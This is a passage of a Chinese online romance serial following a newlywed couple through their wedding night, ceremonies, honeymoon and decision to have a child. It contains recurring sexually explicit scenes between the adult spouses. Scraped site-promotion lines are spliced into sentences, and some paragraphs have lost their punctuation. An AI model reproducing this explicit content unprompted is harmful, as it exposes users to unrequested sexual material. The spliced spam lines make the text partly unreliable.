男人早已把理智抛之脑后格外凶指腹拨开她咬着的红唇低蛊:“宝宝我们今晚不管闹到多疯也没人会知道的。”
容微月如水中的小鱼一点都逃脱不掉。
正侧pagui做了麻薯蛋糕芋泥奶贝焦糖布丁烘烤列巴热狗面包和草莓舒芙蕾各种各样香气四溢。
贴着玻璃窗傅蔺征喑哑的嗓音落在她耳后:“宝宝喜欢这夜景么?”
无人能看到小姑娘眼底朦胧窗户的白雾消起又浮现气音飘飘:“呜呜……喜欢……”
直至她要站不住傅蔺征把她抱着回到被褥上分钟转过一百八十度他把脑袋埋进枕头里的小姑娘翻了过来炽凶的吻寻找而下。
男人脊背和胸膛覆了层薄汗咬着牙关耳边咚咚咚声音到炸她遭不住哭着突然——
“砰——”
一声闷响震得整间卧室一颤。
海底熔岩落下几秒后容微月反应过来脸颊唰得烧红咬着唇:“傅蔺征……”
这人!
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!!
男人也愣了下,眼底闪过意料之外的神情,连忙压下唇角把她抱起来安抚:“月月没事吧?”
她摇摇头,要羞**:“呜呜呜现在怎么办……”
傅蔺征低咳了声,把她抱到旁边的沙发上,给她盖上薄毯,低哄:“宝宝,你先等等,我去处理一下。”
她嗫嚅:“你别被人发现了……”
傅蔺征穿上浴袍,把东西扔进垃圾桶,走出卧室,然而逛了一圈顶层,只有一个房间。
谁知刚走下楼,就看到客厅里灯火通明,茶香袅袅。
客厅里一片热闹,傅老爷子、贺老爷子,还有双方父母,霓音和贺行屿还在喝茶聊天,欢声笑语。
他脚步一顿。
一帮人齐刷刷转头看到他,疑惑:“阿征,你怎么还不去休息啊?”
傅蔺征:……
他沉默两秒,偏开视线,咳了声,镇定开口:“没事,我下来找个东西。”
傅老爷子:“咋了?找什么东西?”
盛柳疑惑:“是不是手机充电器?你们手机充电器在这里。”
“不是。”
迎着大家疑惑的目光,傅蔺征眉心跳动,不太自然开口:“还有空房间么。”
“空房间???”
傅司盛疑惑:“空房间有啊,楼上那间有什么问题吗?”
霓映枝:“是不是睡得不舒服?太潮了?”
傅蔺征迎着众人齐刷刷看过来的目光,滚了滚喉结,几秒后开口:
“不是……就是,床塌了。”
???!!!
八人:嗯????!!
〓作者有话说〓
八人:知道傅蔺征会闹,但是闹这出是真没想到。
哈哈哈哈哈哈阿征大规模震撼丢人!!
阿征:考虑了隔音,考虑了位置,考虑了一切,唯独没考虑到床的质量[眼镜]差评[爆哭]
果然是永生难忘的新婚夜
-
266个随机红包,有些错别字是故意的哈[眼镜],明天也是更新时间待定![粉心]
第 68 章 “宝宝,你以为我不想和你有孩子?...
第68章第六十八章
【“宝宝,你以为我不想和你有孩子?】
chapter68
听到傅蔺征的话,屋内的八人全傻了。
——床塌了?!!!
好端端的一张床,竟然塌了?!!!
“床怎么会塌了??容承业忍不住问。
傅蔺征扯了扯浴袍发热的领口,喉结轻滚,故作平淡道:“就,做着做着塌了。
几人:……???
傅蔺征轻咳,立刻又补充:“我说的是坐在床上的坐。
几人:……你确定吗?
这解释完显得更此地无银三百两了。
八人对视了眼,此刻容承业和盛柳想到那天打电话听到傅蔺征口出的“狂言,傅司盛和霓映枝想到那次隔壁从深夜咚咚咚折腾到清晨的动静,霓音和贺行屿则是想到付则承所说的,嫂嫂被哥哥以天文数字弄到发烧的八卦。
这解释完,更此地无银三百两了。
几人望向傅蔺征,眼神里全是意味深长。
傅蔺征:“……
他现在走还来得及么?
几人压下笑意,也不好意思再探究缘由,霓映枝问:“那月月没事吧?
“没事。就是吓了一跳,还好是在他们刚刚结束之后塌的。
盛柳起身说去给他们收拾:“三楼还有一个海景房,也挺大的,原来放婚纱礼服的,不然搬到那边吧?
傅蔺征应下,傅老爷子品着茶,道了句:“那个床是铁的,应该不容易塌。
傅蔺征:“……
几人脸上都险些憋不住笑,随后两位妈妈起身去帮忙收拾房间,客厅里,傅老爷子想到什么,乐得眼睛眯成一条缝:
“我是不是快要有曾孙了?
一旁的贺老爷子轻哼笑:“肯定是我先有,阿屿和音音肯定要比阿征和月月快。
傅老爷子摇头得意:“你高兴什么,两对哪对先有我都是曾爷爷,嘿嘿双赢。
“哎呦呵……
一边的霓音和贺行屿对视,前者脸红莞尔,贺行屿搂住她,低笑:“音音,看来这边酒店的床质量不好,我们今晚也要注意点,或者要不然加固下?
霓音面颊红成小粉兔,轻打他手臂:“哪有那么夸张,是我哥他新婚夜比较……兴奋。
“我们平时不兴奋么?
“……
霓音脸红透了,压低声音警告他:“我已经因为那个去看过中医了,你要是今晚特让床塌了被爸妈知道,我就和你冷战……七天七夜。
贺行屿笑,“只会冷战这一招啊?
“哼……
另一边三楼,房间整理好后,盛柳和霓映枝
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问:“要不要我们上去帮你和微月搬一下东西?”
傅蔺征默了默,开口:“不用。”
此刻小姑娘那副模样,不太适合见人。
两人离开后,傅蔺征上楼打开婚房的门。
屋内灯光温柔昏黄,窗外海风卷着潮声涟漪而起,沙发上,小姑娘正侧趴着发呆。
她腰间搭着毛毯,一身真丝吊带睡裙,像夜色里的一朵茉莉,身上星星点点微粉,微乱的乌黑长发披散在肩头,裙子被撕了一个口子,眼睫毛挂着泪珠,清纯与旖旎交织成一幅极为明艳夺目的画。
裙摆只堪堪到tui根,微屈的腿还没有傅蔺征的手臂粗,内里嫣红,带着指痕掌印,是因为他刚才按着掰着,还有被他tui撞着而擦出的,小月亮还红洇盈盈,带了点白奶泡,让人瞬间眼红。
若是旁人看到了这幕,必然知道发了什么。
她跟个被掏空棉花的布娃娃一动不动休息,刚刚他的确*得太狠了。
傅蔺征走过去,容微月看到他,傲娇瞥过头,勾唇坐在旁边把她抱进怀中,喉结烧热,喑哑哄道:
“宝宝,床塌了,今晚肯定睡不了了,我们去楼下的空房间,都收拾好了。”
她脸红缩进他怀里,“你怎么去了那么久……”
傅蔺征滚了滚喉结,无奈:“刚刚下楼找房间的时候,爸妈爷爷他们都还在客厅。”
“那他们都知道我们的床塌了吗……”
他默了默,“嗯,不过放心,我只说是坐塌的。”
容微月:QAQ!这能信吗!
完了羞**了呜呜呜……
她气鼓鼓仰头咬了下他脖颈:“你还说要让我永生难忘这一天呢,现在是真的一辈子难忘了。”
傅蔺征笑:“我错了,别生气了好不好?”
“现在道歉有用吗?”她气呼呼,“你听说过哪对夫妻新婚夜把床做塌的,我都跟你说了不要那么凶,你还不听……”
男人挑眉,吊儿郎当道:“是这床质量不行,经不起两下折腾,我不是和平时差不多?”
“哪里,今晚你特别、特别……”
他咬她耳垂,“特别什么啊?”
她趴在他肩头,软声嗫嚅:“感觉你跟疯了一样……”
平时傅蔺征就恐怖,今晚就像饿了几天的狼恨不得把小兔子一口吞了。
特别是刚刚,如敲击每分钟近百下的鼓点,快到出了残影……
那床,不塌才怪。
傅蔺征黑眸涌起黑潮,气息沉哑撩她耳垂:“宝宝,没办法,今晚是洞房花烛夜,好不容易娶到你了,当然控制不住。”
他唇角挑起,浑坏低语:“而且,刚才你明明也特别xing奋,配合着我又扭又夹
听说看这本书的人都是很幸运的,分享后你的运气会更棒
的,你知不知道有多shuang,床塌了是我一个人造成的原因么?
“……
的确,今晚不单单是傅蔺征期待已久,她也是如此,婚礼的喜悦、夜色的浪漫、海边的风与月——全都化成了浓烈的情意。
容微月面颊粉成小桃子,傲娇说:“反正还是你的错。
傅蔺征笑:“嗯,怪我。
给她裹上了浴袍,单手抱起来,傅蔺征拿上了该带的东西,走出房间。
容微月把脸埋在他怀中,所幸下楼的时候没再遇到长辈们,新房间就是比楼上小了一点,但是能看到同样的海景,月色在房间里投下一片温柔。
躺了下来,傅蔺征手机震动了下。
容微月凑过来,“是谁呀?
傅蔺征看到,无奈扯唇:“是我妈。
他把手机拿给她看——
霓映枝:【晚上早点睡,今天月月累了一天了,要让她好好休息。】
这话暗示意味也太强了……
容微月面颊红红,转头揶揄傅蔺征:“听到妈说的吗,让我好好休息。
傅蔺征扔了手机,倾身把她拉入怀中,黑眸幽沉:“宝宝,今晚是新婚夜,就一顿够么?你现在就想休息了?
按照俩人的胃口,肯定是不够的,何况轻断食了好几天,她心跳如鼓,面颊红红看他:“可是你不能再像刚才那样了,要是又塌了怎么办……
男人掐住她身子,低声承诺:“这次我克制点,你要觉得太猛受不了就喊停,嗯?
那种时候她能喊得动吗……
她耳根酥酥软软,但也扛不住这人的请求,抬手勾住他的脖子,“好……
傅蔺征铺天盖地的吻旋即落下。
窗外夜色漫漫,月色给海面增加金光。
他把她托起,膝盖窝搭上他宽阔双肩,随后俯首称臣将爱意诉说。
下意识想躲,男**掌牢牢锢住,小姑娘如小鱼扑却动弹不得,眼底冒出泪花:“老公……
傅蔺征额头青脉炸起,舔了舔薄唇,眼底猩红抬眸看着她,沉沉喘着:
“宝宝,别忍着,…出来。
疯烈的爱意和占有谷欠滋生。
想标记她,想弄坏她,想看到她被快乐支配到忘却一样的样子,全世界只有他可以。
小姑娘眼底滑下泪珠,完全落于他的爱中。
傅蔺征重新把她搂在怀中,直勾勾盯着她,沙哑低声夸赞:“宝宝,你刚刚的样子好漂亮啊,眼睛、嘴巴、扭腰的样子,还有小月亮一直pen水,特别漂亮。
容微月听到面颊红透,傅蔺征注视着她的眸子,抚着她的脸:“还好我把你追回来了,如果六年前我们分手了没复合,我就看
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不到你现在这样了。”
他既是失而复得了她的心也是失而复得了她的人。
他所有的快乐只有在她这里才能拥有。
容微月嗔他:“难道其他女孩子你都不感兴趣吗?就算心不感兴趣那身体呢不都说你们是…半身思考的动物……”
傅蔺征打开雨伞把她抱起来一字一句沉哑:
“乱说什么?我对其他人都不感兴趣身体和心都不感兴趣只想要你只要你在我身边你知不知道老子恨不得二十四小时都和你待在床上。”
他面对其他的女孩子连看都不想多看一眼但唯独对容微月则是成百上千倍爆发的yu念。
容微月心间悸动狡黠弯眉:“那你好爱我呀我可能就不一定了虽然我还是喜欢你但是如果有什么身材特别好的男孩子靠近我我说不定就忍不住动摇了……”
傅蔺征脸色沉下“你再说一遍?”
“我开玩笑的……”
她立刻求饶可来不及了一秒钟二十二点五来袭她指甲掐他肩膀娇呜:
“傅蔺征……”
“忍不住动摇?”他气笑。
如登上海盗船她眼底如落了枫叶的清水琥珀:“我开玩笑的没有动摇只……只有你……”
傅蔺征攻击性拉满知道她开玩笑但也根本不听她解释“宝宝今晚我还想温柔点你非要来惹我你说后果是什么?”
她后悔自己不该乱说话了。
她说又要塌了傅蔺征抱着她起身让她挂在怀中而后把她压在穿衣镜前看着镜子里如很粉荔枝玫瑰的她:“怕床塌那宝宝在这里是不是就不用担心了?”
她眼眶红红:“老公我站不稳……”
男人毫不留情:“那就扶好敢滑下去就再去窗户那边。”
坏蛋坏**……
傅蔺征圈住小猫咪薄热气息落在她耳边:“宝宝抬头看镜子。”
她心跳怦然
悬崖别墅笼上皎洁的月色窗外海风卷起潮汐钻入耳膜一夜不息。
-
两人没听父母的话。
时针转过两点末了小橙子已经变成了橙子干蔫巴巴的连一根手指头都动不了被傅蔺征捞起任由他摆布。
他把她抱去浴室了趟回来又整理了战场躺回来他看向怀中的小姑娘温柔拨开她长发:
“傅太太我爱你。”
小姑娘闻言迷迷糊糊可脑袋蹭蹭他的颈窝还是乖乖地软声回应:“傅先生我也爱你。”
怎么这么可爱啊……
傅蔺征勾唇在她软乎乎的脸颊落下一吻
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,相拥她入眠。
第二天,两人都睡到了自然醒。
晨光透过半开的窗帘洒进来,空气里带着海风的的味道。
醒来后,两人耳语,格外甜蜜,而后傅蔺征抱她去洗漱,再去酒店的露天餐厅用餐。
朋友们也来了,几人看到他们笑得微妙,夏斯礼忍不住揶揄:“傅蔺征,听说你昨晚房间的床塌了?这么猛的吗?
大家都忍不住笑出声,傅蔺征无奈幽幽看向霓音和贺行屿,霓音心虚弯眉:“昨晚我刚好和棠棠打电话,她就知道了这个事,我不是故意说的……
付则承端着咖啡笑:“傅蔺征,你谨遵医嘱啊,我可不想再出诊了。
殷绿笑笑:“能理解,洞房花烛夜啊!
夏千棠:“还好只塌了一张床,这要再多塌几个晚上都没地方睡哈哈哈。
傅蔺征:“是那床质量太差了,你们懂什么。
夏斯礼都不想说他:“傅蔺征,什么质量的床能扛得住你的实力啊?
大家:“哈哈哈哈哈……
这群朋友太坏了,容微月脸颊羞赧酡红,傅蔺征勾唇把她揽入怀中,“别说了啊,我老婆脸皮薄,要不好意思了。
大家笑着不再调侃,傅蔺征牵着容微月去拿早餐,坐到桌前,小姑娘羞嗔他:“都怪你,朋友们也知道了……
傅蔺征喂她吃着华夫饼,眼皮痞坏掀起:“知道又怎样?他们不是早就知道我俩做得很狠么?
每对情侣给人的感觉是不一样的,有的岁月静好、温馨甜蜜;有的思想合拍,极有共同话题;而傅蔺征和容微月前两者都占,但俩人的身高体型差以及傅蔺征混坏霸道的性格摆在那儿,明显有很重的生理性喜欢。
俩人身材又好,xing张力爆棚,一看就知道都吃得很香。
高中毕业那时候,有几次朋友们出来玩,大家都看到傅蔺征把容微月压在无人的地方亲,是很涩的那种,而且那种时候的声音也被听到过,大家都知道俩人早已发生到了负距离,所以也没什么可装的。
容微月闻言,耳根烧成小柿子,傅蔺征散漫把玩着她的手:“每个人选择不同,有人性冷淡,过无性/.生活,但宝宝,咱们俩无性不了一点。
只想疯狂炒菜。
他们对彼此,都是如此。
容微月面颊红如枫叶,轻哼不想搭理他。
早餐结束后,俩人投入今天的流程,下午开始做妆造,今晚是一场中式婚礼。
傅蔺征不想让这人生中唯一的婚礼留下任何遗憾,所以中式西式都举办了。
整座海岛一夜之间变了模样,一座古堡式庄园被重新布置成中式园林,檐角悬挂着一盏盏红灯笼
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
,自庭院延伸到悬崖边。
傍晚时分,蓝白小镇宛若被点亮了绛红色的火焰,红与金将整座小岛染上喜气,仿佛一幅东方红水墨泼洒在地中海之畔。
鼓声自远处传来,百人擂鼓开道,声声震天。
容微月坐着赤金花轿,漫天花雨与鞭炮声交织,她一身凤冠霞帔,华美得几乎让人屏息。
这一身是国内知名的老匠人纯手工金线量身定制而成,大红打底,鎏金刺绣,头顶的凤冠是傅家赠予的皇室藏品,坠满天然红宝石翡翠和珍珠,市值过亿。
从花轿上下来,她一身华贵典雅,如披流光溢彩,美到倾国倾城。
而傅蔺征则是一身改良式的玄黑鎏金长衫,胸襟绣着明月与海潮,他牵着容微月,一桀骜一温柔,气场格外般配。
晚上的中式婚礼也办得声势浩大,宾客云集,因为傅老爷子军功赫赫的老将军,加上霓映枝也是政界知名人物,某个公益基金创始人,年轻时候也是京市一代名媛代表,所以军、政、商三界许多人物都有到场。
敬茶环节上,傅家家族赠予容微月各种各样价值上亿的珠宝首饰,以及明恒的股份,把她名字刻入族谱,傅司盛更是在婚宴上宣布,容微月将担任明恒旗下的工艺美术基金会名誉理事长,整个傅家都为她的非遗事业铺路。
如此隆重,足以让所有人看出傅家对她的满意,令外界震撼。
中式婚礼顺利落幕,第三日是休闲的出游日,所有宾客跟随新人登上停泊在火山湾海岸的豪华游轮,绕行爱琴海,途径希腊群岛。
游轮上娱乐设施齐全,也可以下海活动,傅蔺征还开着私人直升飞机,陪她俯瞰湛蓝海面,欣赏着风景。
夜幕降临,甲板上放起盛大的烟火秀,漫天的光与焰落在海面上,如同星海。
第四天回到圣托里尼岛,这场浩大的世纪婚礼圆满结束,宾客们陆续离开,而容微月和傅蔺征两人也开启了为期二十天的蜜月旅程。
从圣托里尼到雅典,而后去冰岛看极昼,又去撒哈拉看沙漠星空,还有巴黎和迪拜等等,傅蔺征为她准备的每一站都极尽奢华又浪漫。
俩人浓情蜜意到极致。
蜜月结束回到京市,婚礼的一切也画上句号,俩人的生活恢复从前,甜蜜未减,奋斗继续。
晴月阁这边,和俄罗斯漆画厂的联名饰品火出圈后,还斩获了国内外许多设计大奖,容微月相继登上几本高端艺术杂志,电视剧《霜雪吟》上线后爆火,剧中晴月阁为其设计的饰品也被许多网友夸赞,好几个大
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型影视剧的道具合作也找上门。
随着订单暴增,晴月阁换了更大的工作室,招兵买马扩大团队,晴月阁的
听说看这本书的人都是很幸运的,分享后你的运气会更棒
名声已经被打了出去容承业看着女儿的成就也庆幸当初女儿没有回来继承公司她拥有了更广阔的天地。
但是容微月也知道能走到今天不单单靠自己还有家人的支持与傅蔺征的托举他总是让她欣然接受:“资源也是实力的一部分宝贝我只是把我能给的都给你。”
她含笑应下也努力变得更优秀不辜负大家的期望。
与此同时傅蔺征的事业也在稳步向前他在卢塞恩的那次纪录片得到允许后对外公开全世界的车迷得知他曾经遇到的车祸震撼、心疼、钦佩**一片赞叹。
下半年他把更多的重心放在明恒和对后备赛车手的培养减少参赛频率只参加几个关键赛事却场场成绩斐然。
傅蔺征知道小姑娘一直很担心他在比赛中受伤而他也不想再想从前那样高强度工作对他来说现在最重要的是她和家庭。
粉丝们也很支持:【其实傅蔺征的比赛强度不算低了啊
【黑子别带节奏傅蔺征这叫没有事业心?他做的事只是你没看到而已。】
【这是一辈子顺风顺水的大少爷啊我要是他早就躺平了傅蔺征已经很牛逼了。】
【从鬼门关走了一遭如今事业圆满谁不想享受家庭和老婆恩恩爱爱啊?每个人的选择不同只要开心就好。】
【各位别忘了傅蔺征是明恒大少爷人家是真有家业要继承!!】
网络上对傅蔺征的选择都很支持而容微月在忙碌的同时也陪着傅蔺征去参加比赛弥补这六年缺席的遗憾。
时间飞快又是一年。
冬去春来傅蔺征的生日是在3月28号炽热的白羊座。
那天傅蔺征在国外比赛容微月忙完工作特意赶去国外。
晚上男人训练回来打开酒店房门就看到小姑娘捧着个点着蜡烛的蛋糕笑意甜软走到他面前眼底被烛光点亮:“我的阿征生日快乐。”
他眼底惊喜翻滚“你怎么来了?”
“你生日我当然要来呀我也永远记得你的生日。”
去年他生日那天容微月被迫要去外地出差他也出差了小姑娘是在视频里给他过的而今天是婚后第二次她当然不远**也要赶来。
“以后每年我都给你过生日好不好?”
傅蔺征低声应下许愿后把蛋糕放在旁边就把她紧紧搂进怀中“月月以后我也不是一个人了。”
以后他的生日也有她陪伴了。
晚上傅蔺征先陪她吃了蛋糕然后又吃了更甜的草
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
莓奶油蛋糕春雨下了一夜。
临近清晨小姑娘被他抱去浴室有气无力控诉这人变态“傅蔺征我就不该来找你……呜呜我瘫痪了……”
傅蔺征勾起唇角:“宝宝你现在已经比之前厉害了往常这个时候你都晕过去了。”
“……”
不过很明显的是
她如今免疫力提高没再那么容易生病而且婚后每天都很开心也彻底停了抗失眠的药物被治愈。
虽然看过去还是很苗条但是一直在往健康的程度迈进而且平时会被傅蔺征带着去健身房做些正儿八经的有氧无氧运动去年一整个冬天她只感冒了一次已经比往常好很多了。
爱人如养花傅蔺征格外耐心养着他的这朵小山茶花让她每天都开心顺遂。
时间悠然往前今年六月初殷绿也生产了。
去年殷绿和湖安速度很快办了婚礼婚后没多久俩人就火速弯道超车有了小宝宝。
这是殷绿的意思她想要快点有个孩子这样年轻恢复得更快还能奋斗事业。
小宝宝是个小男孩和湖安有点像黢黑黢黑的湖安都无奈:“我这儿子要是遗传了绿绿该多好白白净净的光遗传我的黑了。”
朋友们都笑殷绿莞尔:“没事还好是儿子要是女儿像你我可要哭了哈哈。”
夫妻俩眉眼间都是掩不住的喜悦如今殷绿住进月子中心也是女王级别的待遇。
容微月身为干妈也给小宝宝亲手做了一对花丝镶嵌的小金镯和傅蔺征送过去时殷绿喜滋滋戴在孩子手上而后分享着照顾小宝宝的趣事容微月听着也莫名新奇。
原来有了个小生命是这样的感觉啊。
容微月看着小宝宝阖着眼眸睡觉的样子不禁弯眉和傅蔺征道:“好可爱。”
傅蔺征勾唇眸光却落在她身上。
傅蔺征去洗手间时殷绿单独问容微月:“你和傅蔺征打算什么时候要孩子啊?还是你俩已经备孕一年了?”
容微月怔了怔摇头:“没有我们一直都有做措施还没考虑过这方面呢。”
“诶?傅蔺征没提过吗?”
“没有……”
殷绿疑惑:“应该不至于是他不想要吧?”
其实她也没问过傅蔺征也没提起过之前那次他开玩笑说不想戴想看看她什么时候中可是后面都没有冒险唯独有一次例外就是在那次山顶的车上破了但后来也没有意外发生。
可能傅蔺征也更喜欢他们现在这样的二人世界她也同样如此但今天看到殷绿和湖安的小宝宝出生她又
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忽然觉得,若能和心爱的人拥有一个属于两人的小宝宝,好像也是件美好又温柔的事。
殷绿努嘴:“我感觉傅蔺征不至于不喜欢小孩?他平时对待呼呼怎么样?”
容微月不禁笑,“拿呼呼做对比啊?”
“那不挺像的嘛,”殷绿乐呵笑,“他不是就当儿子养着?”
“他当然很喜欢呼呼啦,不过有的时候也挺嫌弃的,老说它是电灯泡。”
殷绿含笑感慨:“那我还真搞不懂了,有可能傅蔺征更喜欢只有你。”
看完殷绿,傍晚和他们道别,傅蔺征和容微月往外走,容微月转头看向牵着她的男人,心思如生长出来的小豆芽摇晃。
远处忽然传来婴儿的啼哭声,尖锐而嘹亮,整层楼仿佛都跟着震动,容微月看过去,软声试探开口:
“傅蔺征,你看那个小孩子,声音好嘹亮呀,以后说不定是个歌星,对不对?”
傅蔺征瞥了一眼,不敢兴趣,神色淡淡:“这纯粹是嗓门大,我听爷爷说我爸出生哭得也震天响,不影响他现在五音不全。”
“……”
她憋笑,“噢……听我妈妈说,我小时候生出来哭得也很大声。”
傅蔺征揉揉她耳根:“我的宝宝不一样,你唱歌很好听,哭起来更好听。”
“……?”
她羞得不理这人,动不动就开车。
走到楼下,花园里,有个小男孩蹦蹦跳跳玩纸飞机,容微月看到,软声问:“你看那个小朋友,好活泼开朗呀,小时候就很阳光,是不是?”
傅蔺征看了眼那小孩两个大人都抓不住、差点撞到其他在散步的妈妈,懒声道:“那纯粹是闹腾,要我孩子这么皮,直接抓走教育。”
“哦……”
又有一个年轻妈妈推着一个小宝宝路过,容微月看到,眼睛亮起:“你看,这个宝宝可爱啊,是个小女孩,是不是超可爱的?”
傅蔺征看了眼,语气淡淡:“还行。”
如果他和容微月有个女儿,那才是超可爱的,全世界除了老婆之外,最可爱。
这话容微月不知道,只眼瞧着傅蔺征这不感兴趣的态度,心里也笼上了疑惑。
……傅蔺征好像真的对孩子不感兴趣?
她轻咬红唇,忍不住再度试探:“我看殷绿和湖安这样挺好的,早点生娃,安排得挺合适,你觉得呢?”
傅蔺征转头看她,刚要说话,口袋里的手机震动,是集团的事,“宝宝,我先接个电话。”
容微月应下,想了想,还是把心思压了下去。
打完电话,她也没再提这些事,傅蔺征带她回家前,先照例去了中医馆,每周傅蔺征都会带她来艾灸拔罐,给她调理身子。
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第 69 章 “阿征,我们真的有宝宝了。”...
第69章第六十九章
【“阿征我们真的有宝宝了。”】
chapter69
听到傅蔺征的话容微月耳根泛起红晕如同樱花花瓣一般心跳如鼓:“傅蔺征我感觉我被你套路了……”
跌入云朵中男人覆盖而来明晃晃盯着她低笑:“嗯?我套路你什么了啊?”
他指尖勾着她衣料含笑调侃:“以为我不想要孩子失落的是你现在我想要了你还怪我套路你宝宝你怎么这么会倒打一耙啊?”
小姑娘薄红的耳根被他轻咬软嘤了声攥住他浴袍带子轻哼:“反正我觉得你目的不纯怀孕不是目的目的就是为了、为了……”
傅蔺征笑:“为了什么啊?”
这人就是在明知故问。
衣物落于地毯画卷展开傅蔺征的吻跟着指尖连绵转辗浑话毫不收敛落在她耳边:“宝宝一直都好想不戴又怕你怀孕但是现在灌多少都可以了。”
芋泥小贝就是要加多多的卡仕达奶油才好吃。
她闻言脸颊都跟熟透的虾。
他每次都很多尤其是一旦隔了几天出差回来或者是她生理期结束估计没多久就有了……
她轻哼“果然这才是你的目的。”
傅蔺征笑摸摸她的脑袋:“怀孕本来就不是任务我们第一当然是享受do爱孩子是爱情自然而然产生的结晶我的目的当然都你身上。”
他们首要是享受和爱人之间心与心的更加贴近至于什么时候怀上那不应该成为负担和压力。
容微月闻言心底柔软甜蜜:“我们也不着急我就是想试试不避孕的情况下什么时候能有个小宝贝。”
傅蔺征黑眸灼沉勾唇:“那这关键还得取决于老子卖不卖力?”
他现在跟狼似的她都害怕:“你不许全部发挥出来我要散架了……”
傅蔺征啄啄她鼻尖:“宝宝我不知道没戴会有多爽
克制这个词什么时候和他沾边了……
随后傅蔺征把她抱起来走去浴室浓情蜜意间回来她重新被他锁进怀中傅蔺征再度和她确认:
“月月你想好了么?怀孕会很辛苦你要还是害怕我们就再等等。”
十月怀胎的辛苦只有她切身感受这种事他要她全权决定“宝宝要不要孩子什么时候要孩子哪怕不要也可以你的意愿最重要。”
她不能是一时兴起出于好奇万一后悔了怎么办他必须要为这个决定负责。
小姑娘对上他炽烈深情的黑眸圈住他脖子轻柔言:“我想好了我
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知道怀孕很辛苦,但是我愿意呀。”
她弯起唇畔,“阿征,我想和你有个孩子,以后在这个世界上会多一个人来爱你。”
傅蔺征眼眶滚热,温柔缱绻的吻落下:“那交给我,宝宝享受就好。”
她睫毛如蝴蝶翅膀纷飞,她阖上眼眸,主动攀住他的肩膀,迎了上去。
窗外夜色茫茫,房间如深海中的一帆船只,船橹摇曳,风掠过窗沿,远处的霓虹被夜色吞没。
屋内的暖灯像一抹月色,携人踏过寒冬,迎来暖春,直至分针走了一圈回到原点,容微月落下泪珠,被他拥入怀中,男人重重的吻落下,抢夺她每一寸气息。
小猫咪小声抽噎,黑发微乱,面带红晕,软绵绵的如焦糖布丁,泛红的纤细腰窝掌印明显,还残留着他掌心的热,不断烧入。
傅蔺征起身,宽阔利落的肩背展开,后背肌肉狰狞绷起,灯光下的潮汐刺青若隐若现,带着汗珠和残留的力量感,仿佛一场狂烈风暴过境。
男人沉喘着,手臂撑在床沿,去拿了床头备着的矿泉水,拧开盖子,先递到她唇边。
“宝宝,喝点水。”
容微月小口抿着,水流滑过唇角,被他指腹擦去,喝了几口,她娇声道:“够了……”
而后傅蔺征仰头灌下剩下的,喉结迅速滚动,冷水顺着脖颈而下,冲散了点薄汗的热气,灯光打下来,他汗珠滚落,掠过硬朗的胸膛,停在那枚月亮刺青上。
傅蔺征这模样真是涩气得要命,她抬手轻抚着刺身,杏眸潋滟泛光,男人垂眼看着,悠悠然问:“这么快休息好了?”
她脸红:“没有……”
喝完水,他抬手把空瓶子抛进垃圾桶,俯身再度圈住她,顽劣问:“宝宝,刚刚那样喜欢么?”
这人跟疯了一样,果然劝都劝不住,索性家里的床比圣托里尼的质量好多了,小猫气鼓鼓咬了口他胸膛的小月亮,“不喜欢……”
他勾唇吻她耳垂,哑声喟叹:“没感觉出来宝宝,你真的紧**,shui好多,又紧又滑,老子要被你弄疯了。”
没有肠衣的情况下,热狗好,小奶贝的状态今天也特别好,她面颊烧起红晕,就感觉傅蔺征扯了两个枕头垫在她腰后,她眨着眸:“怎么了……”
傅蔺征眼底幽深,指腹挑起又往里勾:“抬高点不是能让小蝌蚪多待会儿?”
唔……
傅蔺征看到怀中的小姑娘面颊若粉樱,鼻尖挂着汗珠,琥珀眸子盈盈澄澈望着他,一张脸如云似雾,又纯又欲。
他真的要爱死她了:“月月,你现在好漂亮。”
男人倾身,气息再度封锁住她的唇,渡去爱意,她发现戒尺再度来打招呼,眼睫
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一颤:“傅蔺征……”
他宽大身影将她笼罩:“不是要怀宝宝,多来几次概率不是更大?”
容微月羞赧,这人哪里是为了这个……
她轻声调侃:“我听说这个不是多来就能尽快有的,也得看个人水平,有些质量好的,没戴光蹭就能怀上,有些努力了半天估计还是不行。”
傅蔺征:?
肌肉蓬起,他把她牢牢锁住,咬她红唇:“几个意思,你怀疑老子质量不行?”
她弯眉呜哼:“没有,我不敢……”
傅蔺征把小猫咪捞起来,直接坐到他怀中,她紧紧地抱住他脖子,被他爱意充斥,眼尾泛红,男人锁住她往下摁,嗓音沉哑:
“宝宝,我这么完美的人,当然做什么都要追求完美。”
“所以质量、数量我都会跟上,一定让你满意。”
呜呜呜这人坏**……
初夏时节星空郎朗,窗外的夜色深如要滴下墨来,灯影被风吹散,小船再度起航。
-
一夜好梦。
翌日,云层被风推散,太阳升起,整片天空像被清水洗过一样明净。
阳光穿过半掩的窗帘,落在主卧的地毯上,洒下一层浅浅的金光,温柔而安静。
傅蔺征交了好几场完美答卷。
最后容微月批改到晕头转向,哭地委屈巴巴说讨厌死他了,男人才大发慈悲放过。
睡醒,她翻了个身,轻哼伸了个懒腰,傅蔺征坐在卧室沙发上处理公事,听到她哼哼唧唧,起身走过来,“宝贝睡醒了?”
小姑娘一身淡粉色睡裙,如草莓奶油班戟似的,被他搂进怀中,她睁开眼看到罪魁祸首:“傅蔺征……”
“嗯?”
“我像只破破烂烂的小猫……”
她感觉连说话都没力气了,像被榨干的果汁,软乎乎瘪嘴:“谁要我就拿走吧,两元一斤,特价清仓,便宜卖了……”
傅蔺征低笑出声,摸摸她的头:“这么便宜啊?那我都要了,给你200,多了不用找。”
她气鼓鼓莞尔捏他手臂,可肌肉硬硬的,她也掐不动,最后只好上嘴去咬:“讨厌你,坏蛋狗狗……”
他看到手臂上的牙印,感觉又爽到了,笑着把她抱怀里:“怎么累成这样?昨晚不是正常时长吗?”
她想哭,哪家好人的正常时长在两三个小时啊……
昨晚傅蔺征像饿了十天半月的狼开餐一般,状态比平时更加好,各种sweettalk,最后还美名其曰为了更快怀上,堵了很久,出来时因为多次累积,还出现了椰奶瀑布。
她第一次见到这种,呆住,整张脸都红透了,傅蔺征喉间发紧:“宝宝,我也不知道会这么多。”
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这人真的好恐怖QAQ.
容微月气鼓鼓揪住他衣领:“傅蔺征,你要把我累晕了,我就歇菜**,不让你进卧室了。
“你不是想要宝宝?那我当然要全力以赴。
傅蔺征勾唇亲亲她脸颊,“那今晚就一次?
她咕哝:“为什么不能今晚不做?
“你觉得我忍得住么?每天都想要。
结婚一年多了,仍旧一样,傅蔺征的体力实在是太好了,容微月也总是忍不住馋他,有的时候他撩几下,她也忍不住扑到他怀中,毕竟吃得太香了,高中毕业就匹配得无与伦比。
